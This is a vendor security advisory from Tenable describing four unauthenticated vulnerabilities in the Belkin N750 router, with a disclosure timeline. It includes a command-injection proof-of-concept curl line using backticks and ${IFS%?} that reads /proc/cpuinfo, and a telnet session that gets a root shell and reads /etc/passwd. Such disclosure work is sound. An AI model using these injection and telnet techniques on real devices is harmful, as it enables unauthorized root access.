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[R1] Belkin N750 F9K1103 v1 Multiple Vulnerabilities



While following up on earlier research into Belkin's N750 F9K1103 v1 wireless router, Tenable found four new vulnerabilities. All the vulnerabilities are exploitable without authentication through the web interface.

CVE-2018-1143: Twonky Blind Command Injection

An unauthenticated user can execute commands via twonky_command.cgi by encapsulating the command in backticks. The following URL will execute the command ping

CVE-2018-1144: Proxy.cgi Command Injection

An unauthenticated user can execute commands via proxy.cgi by encapsulating the command in backticks and using ${IFS%?} when a space is required. The following proof of concept executes cat /proc/cpuinfo:

[email protected]:~$ curl '`cat$\{IFS%?\}/proc/cpuinfo`'
wget: not an http or ftp url: system type		: Ralink SoC
processor		: 0
cpu model		: MIPS 74K V4.12
BogoMIPS		: 249.34
wait instruction	: yes
microsecond timers	: yes
tlb_entries		: 32
extra interrupt vector	: yes
hardware watchpoint	: yes
ASEs implemented	: mips16 dsp
VCED exceptions		: not available
VCEI exceptions		: not available

unaligned_instructions	: 379

CVE-2018-1145: Proxy.cgi Stack Buffer Overflow

A stack buffer overflow occurs in libcfg.so when a remote unauthenticated user provides an long url parameter via proxy.cgi. The function EXEC_PROXY_CMD in libcfg.so does not validate that the url parameter's value will fit within a stack buffer before passing it to sprintf. An example request that triggers this vulnerablity follows:

CVE-2018-1146: Enabling Unauthenticated Telnet

By default the router has Telnet disabled. However, an unauthenticated remote user can enable Telnet using the following URL:

At first this doesn't appear to do anything. However, when the router is rebooted unauthenticated Telnet will spawn on the LAN side of the router.

[email protected]:~$ telnet
Connected to
Escape character is '^]'.

BusyBox v1.7.2 (2016-10-12 10:13:10 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.

# id
uid=0(root) gid=0(root)
# cat /etc/passwd
avahi:x:70:70:Avahi daemon:/:/bin/false
avahi-autoipd:x:71:71:Avahi autoipd:/:/bin/false


No solution currently exists.

Disclosure Timeline

07/07/17 - Tenable sends a writeup and PoC to [email protected]
07/07/17 - Belkin acknowledges receipt and confirms 3 vulns. Asks for more details on enabling telnet.
07/10/17 - Tenable explains to Belkin that the device needs to be rebooted in order for the telnet process to spawn.
07/12/17 - Belkin confirms the fourth vuln (enabling auth-less Telnet). Requests Tenable's public key.
07/12/17 - Tenable sends public key.
07/17/17 - Belkin informs Tenable that they are working with the OEM.
08/17/17 - Researcher pings Belkin on current status
08/17/17 - Belkin indicates a fixed firmware image has been produced but it needs to go through QA. Estimates 90 days until release. Belkin asks if Tenable plans on disclosing.
08/17/17 - Tenable confirms intention to disclose in the future.
11/07/17 - Tenable asks for an update.
11/07/17 - Belkin sends autoresponse that [email protected] is no longer being monitored.

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